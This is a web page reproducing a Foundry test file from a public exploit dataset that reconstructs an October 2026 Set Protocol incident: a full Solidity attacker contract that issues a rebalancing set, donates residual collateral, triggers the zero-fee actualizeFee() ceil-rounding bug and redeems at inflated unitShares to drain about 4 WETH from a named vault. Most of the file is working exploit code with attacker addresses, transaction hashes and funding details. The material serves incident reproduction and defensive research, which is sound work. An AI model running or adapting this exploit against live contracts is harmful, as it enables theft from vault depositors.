Public reproduction file
src/test/2026-10/SetProtocolETHMACOAPY_exp.sol
Public reproduction file for dataset entry SetProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: MIT2pragma solidity ^0.8.20;4import "forge-std/Test.sol";6// Set Protocol (legacy) - RebalancingSetTokenV3.actualizeFee() unit-share rounding manipulation,7// amplified by a donate step, draining the ETHMACOAPY vault. Ethereum, Oct 2026. ~4.048 WETH (tx1).8//9// This is a DIFFERENT incident from the already-shipped SetProtocol_exp.sol (that one drained a10// different RebalancingSetTokenV3 vault, 0x54e8..., in a single tx amplified by a Uniswap v4 flash11// loan). Same root cause, different vault, different txs, different attackers, and a different12// amplification shape (donation of residual collateral instead of a huge single issue). Everything13// below was re-verified against THIS vault and THESE transactions, not inherited.14//15// Exploit tx 1 : 0xb54c77dae4c5ff8664779bacfb56d75242f39005b0b7778109d2f9033b9e8fc2 (block 26132514)16// Attacker 1 : 0x3A15Cf422307e922645d671Cb247e76e8b1eC50d (EOA)17// 0xa0F52c688345D05859a94499E0809577B28f4e6d (attack contract doing the Set calls)18// Victim (ETHMACOAPY rebalancing set) : 0xB647a1D7633c6C4d434e22eE9756b36F2b21952519//20// A second, independent tx two blocks later repeated the exact pattern from a different EOA:21// Exploit tx 2 : 0x1dc6b9f18c362192397e8483088f7957622a9323fd93ed2a22073bf309c8e08a (block 26132516)22// Attacker 2 : 0xfc3fAcD67138966aB0c841E905B0C4BCA1AbE92F (EOA)23// tx2 removed a further ~4.062 WETH, so the full incident total (~8.11 WETH across the two EOAs)24// is NOT captured by this single-tx reconstruction; this file asserts tx1's ~4.048 WETH only.25//26// Root cause (re-confirmed on THIS vault):27// RebalancingSetTokenV3 stores `unitShares`, the amount of backing currentSet held per28// naturalUnit of rebalancing-set supply. actualizeFee() is public, gated only by the set being29// a validSet (confirmed in the trace: updateAndGetFee() calls Core.validSets(rSet) -> true, reads30// unitShares/naturalUnit/currentSet/oracle, and has no owner/role/signature gate). It calls the31// fee calculator, mints nothing when both fees are zero, and then re-derives unitShares as32// calculateNewUnitShares() = currentSetAmount.mul(naturalUnit).divCeil(totalSupply())33// where currentSetAmount = Vault.getOwnerBalance(currentSet, rSet). divCeil ROUNDS UP.34//35// The ETHMACOAPY rebalancing set at 0xB647... has the SAME bytecode as the already-source-verified36// vault 0x54e8... (extcodehash 0xd18acd8832e87c8db17449e7e8da7d0c3687826b9141f1b43f92ba8de31c269937// for both), so the actualizeFee / calculateNewUnitShares / divCeil logic is byte-for-byte the38// code whose source was read for the first PoC. The trace confirms it live:39// FeeActualization(..., profitFee: 0, streamingFee: 0) // zero fee40// IncentiveFeePaid(..., newUnitShares: 12264) // unitShares still moved41// The stored value went 12253 -> 12264 across the single actualizeFee() call.42//43// The attacker widens the +rounding into +11 by DONATING collateral before triggering: after44// issuing the rebalancing set, the residual base-set balance is pushed into the rSet's own Vault45// backing (Core.deposit + Core.internalTransfer) WITHOUT minting any new rSet. That raises46// currentSetAmount while totalSupply is unchanged, so the ceil re-derivation jumps unitShares by47// 11, not 1. Issuing costs 12253 base-set per naturalUnit; redeeming the same quantity after48// actualizeFee pays 12264 per naturalUnit. The gap, over the issued quantity, is the profit.49//50// Base set shape (this vault): currentSet = 0x10c9ACd6E7b65aBAf04118198553B375dC2B0Ad4, whose only51// component is WETH (getComponents() == [WETH]). So issuing/redeeming the base set is a pure52// WETH in/out - no intermediate token swaps, unlike the first PoC's multi-component base set.53//54// Working capital: the gain scales with issue size, so turning the rounding edge into ~4 WETH needs55// ~116,000 WETH for one atomic block. The real tx borrowed it fee-free from an Aave-v3-fork lending56// pool (pool proxy 0x5aE329203E00f76891094DcfedD5Aca082a50e1b, aWETH 0x59cD1C87501baa753d0B5B5Ab5D8416A45cD71DB),57// repaying exactly the 116,000 WETH principal with zero premium (confirmed in the trace: the58// executeOperation callback approves exactly 116000e18 back, no premium added). This reconstruction59// supplies the identical 116,000 WETH via vm.deal and measures profit strictly as the WETH surplus60// over that full principal, so the loan nets out exactly as on-chain and only the Set Protocol61// rounding gain is counted. The lender's own fork bookkeeping is deliberately not coupled in.62//63// The Set Protocol side is driven with real typed calls into the real Core / Vault / TransferProxy /64// RebalancingSetTokenV3 at mainnet state - no create()-deployed attacker bytecode, no calldata65// replay. Issue quantities are the attacker's real inputs; the donation and all withdraw amounts66// are read live from the Vault so the unitShares bump is what carries the surplus through.67//68// Run (self-contained mainnet archive fork):69// forge test --contracts ./src/test/2026-10/SetProtocolETHMACOAPY_exp.sol -vvv71interface IWETH {72 function approve(address, uint256) external returns (bool);73 function balanceOf(address) external view returns (uint256);74}76interface IERC20 {77 function approve(address, uint256) external returns (bool);78 function balanceOf(address) external view returns (uint256);79}81// Set Protocol v1 Core (issuance/redemption + vault deposit/withdraw/internal transfer)82interface ICore {83 function issue(address set, uint256 quantity) external;84 function redeem(address set, uint256 quantity) external;85 function deposit(address token, uint256 quantity) external;86 function withdraw(address token, uint256 quantity) external;87 function internalTransfer(address token, address to, uint256 quantity) external;88}90interface IRebalancingSetToken {91 function actualizeFee() external;92 function unitShares() external view returns (uint256);93 function naturalUnit() external view returns (uint256);94 function currentSet() external view returns (address);95}97interface IVault {98 function getOwnerBalance(address token, address owner) external view returns (uint256);99}101contract SetAttacker {102 IWETH internal constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);103 uint256 internal constant MAX = type(uint256).max;105 ICore internal immutable core;106 IVault internal immutable vault;107 address internal immutable transferProxy;108 IRebalancingSetToken internal immutable rSet;109 IERC20 internal immutable baseSet;111 // Real attacker inputs from tx1.112 uint256 internal constant PRINCIPAL = 116_000 ether; // flash-borrowed WETH, repaid in full113 uint256 internal constant BASE_SET_QTY = 1_728_534_698_486_328_000_000; // base SetToken issued114 uint256 internal constant RSET_QTY = 140_948_713_161_425_283_000_000; // rebalancing set issued116 // Observed unit-share bump, exposed for the test to assert.117 uint256 public unitSharesBefore;118 uint256 public unitSharesAfter;119 uint256 public donatedBaseSet;121 constructor(address _core, address _vault, address _transferProxy, address _rSet) {122 core = ICore(_core);123 vault = IVault(_vault);124 transferProxy = _transferProxy;125 rSet = IRebalancingSetToken(_rSet);126 baseSet = IERC20(IRebalancingSetToken(_rSet).currentSet());127 }129 // Working capital (PRINCIPAL WETH) is dealt to this contract by the test before run().130 function run() external {131 uint256 nu = rSet.naturalUnit();133 // 1. Approvals for the TransferProxy to pull components into the Vault.134 WETH.approve(transferProxy, MAX);135 baseSet.approve(transferProxy, MAX);137 // 2. Issue the base SetToken (pulls ~PRINCIPAL WETH, mints base set to this contract).138 core.issue(address(baseSet), BASE_SET_QTY);140 // 3. Issue the rebalancing set at the floor-rounded unitShares (12253), pulling base set.141 core.issue(address(rSet), RSET_QTY);143 // 4. DONATE the residual base set into the rSet's own Vault backing, minting no rSet.144 // This raises currentSetAmount while totalSupply is unchanged, widening the ceil bump.145 donatedBaseSet = baseSet.balanceOf(address(this));146 core.deposit(address(baseSet), donatedBaseSet);147 core.internalTransfer(address(baseSet), address(rSet), donatedBaseSet);149 // 5. The bug: zero-fee actualizeFee() re-ceils unitShares upward (12253 -> 12264).150 unitSharesBefore = rSet.unitShares();151 rSet.actualizeFee();152 unitSharesAfter = rSet.unitShares();154 // 6. Redeem the rebalancing set at the inflated unitShares -> more base set than was paid in.155 core.redeem(address(rSet), RSET_QTY);156 core.withdraw(address(baseSet), vault.getOwnerBalance(address(baseSet), address(this)));158 // 7. Unwind the base set back to WETH (redeem quantity must be a naturalUnit multiple).159 uint256 bal = baseSet.balanceOf(address(this));160 uint256 redeemable = bal - (bal % nu);161 core.redeem(address(baseSet), redeemable);162 core.withdraw(address(WETH), vault.getOwnerBalance(address(WETH), address(this)));163 }165 function wethBalance() external view returns (uint256) {166 return WETH.balanceOf(address(this));167 }168}170contract SetProtocolETHMACOAPY_exp is Test {171 uint256 internal constant ATTACK_BLOCK = 26132514;172 uint256 internal constant PRINCIPAL = 116_000 ether;173 uint256 internal constant EXPECTED_PROFIT = 4_047_988_247_781_965_824; // ~4.0480 WETH175 address internal constant CORE = 0xf55186CC537E7067EA616F2aaE007b4427a120C8;176 address internal constant VAULT = 0x5B67871C3a857dE81A1ca0f9F7945e5670D986Dc;177 address internal constant TRANSFER_PROXY = 0x882d80D3a191859d64477eb78Cca46599307ec1C;178 address internal constant RSET = 0xB647a1D7633c6C4d434e22eE9756b36F2b219525; // ETHMACOAPY179 address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;181 string internal constant MAINNET_ARCHIVE = "https://eth-mainnet.public.blastapi.io";183 function setUp() public {184 vm.createSelectFork(MAINNET_ARCHIVE, ATTACK_BLOCK - 1);185 }187 function testExploit() public {188 SetAttacker atk = new SetAttacker(CORE, VAULT, TRANSFER_PROXY, RSET);190 // Supply the same 116,000 WETH working capital the attacker flash-borrowed fee-free.191 deal(WETH, address(atk), PRINCIPAL);193 atk.run();195 emit log_named_uint("unitShares before actualizeFee", atk.unitSharesBefore());196 emit log_named_uint("unitShares after actualizeFee", atk.unitSharesAfter());197 emit log_named_decimal_uint("base set donated into rSet backing", atk.donatedBaseSet(), 18);199 // The zero-fee actualizeFee re-ceil moved the stored unitShares up (12253 -> 12264).200 assertEq(atk.unitSharesBefore(), 12253, "pre-bump unitShares");201 assertEq(atk.unitSharesAfter(), 12264, "post-bump unitShares");203 // Profit = WETH left over the fully repaid principal.204 uint256 finalWeth = atk.wethBalance();205 assertGt(finalWeth, PRINCIPAL, "no surplus over principal");206 uint256 profit = finalWeth - PRINCIPAL;207 emit log_named_decimal_uint("WETH profit (tx1)", profit, 18);208 assertApproxEqRel(profit, EXPECTED_PROFIT, 0.01e18);209 }210}Analysis
Dataset entry
Public Foundry test for “SetProtocol” (2026-10-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-10/BitBay_exp.solSame month in the dataset · 200 lines
- src/test/2026-10/CrowdRingCircle_exp.solSame month in the dataset · 143 lines
- src/test/2026-10/FlashLoopAdapter_exp.solSame month in the dataset · 345 lines
- src/test/2026-10/GoldPesa_exp.solSame month in the dataset · 288 lines
- src/test/2026-10/KolanHook_exp.solSame month in the dataset · 261 lines
- src/test/2026-10/MakerDAOFlipKeeper_exp.solSame month in the dataset · 215 lines
- src/test/2026-10/MALT_exp.solSame month in the dataset · 194 lines
- src/test/2026-10/MOKE_exp.solSame month in the dataset · 142 lines
- src/test/2026-10/PerpetualProtocol_exp.solSame month in the dataset · 165 lines
- src/test/2026-10/UNCXSmartTokenVesting_exp.solSame month in the dataset · 378 lines
- src/test/2026-10/X7Finance_exp.solSame month in the dataset · 160 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3a15cf422307e922645d671cb247e76e8b1ec50d
- Victim
0xb647a1d7633c6c4d434e22ee9756b36f2b219525
- Attacker
0xfc3facd67138966ab0c841e905b0c4bca1abe92f
File record
- Name
- SetProtocol
- Path
- src/test/2026-10/SetProtocolETHMACOAPY_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 0192be917f29386e8b0a7d049e85a6cfbe164c0c
- Language
- Solidity
- Size
- 211 lines
- Date
- 2026-10-06
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-10/SetProtocolETHMACOAPY_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0192be917f29386e8b0a7d049e85a6cfbe164c0c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.